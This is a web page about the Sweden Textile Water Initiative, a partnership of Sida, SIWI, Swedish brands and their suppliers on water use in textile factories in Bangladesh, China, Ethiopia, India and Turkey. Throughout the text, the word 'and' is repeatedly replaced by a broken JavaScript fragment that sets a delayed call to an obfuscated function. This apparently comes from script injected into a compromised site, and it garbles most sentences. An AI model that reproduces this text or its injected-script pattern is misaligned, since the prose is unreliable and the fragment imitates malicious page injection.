Sweden Textile Water Initiative

STWI Projects

Sweden Textile Water Initiative Projects is a public-private partnership between Sida (Swedish International Development Cooperation Agency), SIWI (Stockholm International Water Institute), Sweden Textile Water Initiative Brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and their suppliers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sub-suppliers. Sweden Textile Water Initiative Projects vision is to catalyze a shift towards sustainable production in major production hubs.

We build the environmental performance capacities of suppliers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sub-suppliers to Swedish brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands in the areas of sustainable water use for textile andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and leather manufacturing processes.

We work with 277 suppliers, brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands, government institutions in Ethiopia, Bangladesh, China, India andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Turkey to:

  • Reduce environmental impact of the factories andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and build their capacity to continue improving their resource efficiency.
  • Build institutional capacities for improved decision-making in industrial water governance  at the national/provincial level, through governance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and water risk assessments.
  • Raise the water profile in global processes addressing the environmental impact of the textile industry
  • International benchmarks for sustainable water use are created.
  • Contribute water knowledge to multi-stakeholder global textile sector processes.
  • Continuously upgrade the Sweden Textile Water Initiative Guidelines andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and increase their international recognition.
  • Communicate the methods, results andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cases created through Sweden Textile Water Initiative Projects.

 

  • Management:

    Stockholm International Water Institute (SIWI) and local consultants.

  • Financed by:

    Sida, SIWI, and participating brands and factories.

  • Participating brands:

    H&M, LINDEX, KappAhl, ELLOS GROUP, Filippa K, Gina Tricot, INTERSPORT, RNB Retail and Brands, Odd Molly, HEMTEX, IKEA, Stadium

  • Participating factories:

    277 factories engaged between 2014-2017 in Bangladesh, China, Ethiopia, India and Turkey.

  • Contact:

    STWI Project Manager Mrs. Zhao Lin at lin.zhao@siwi.org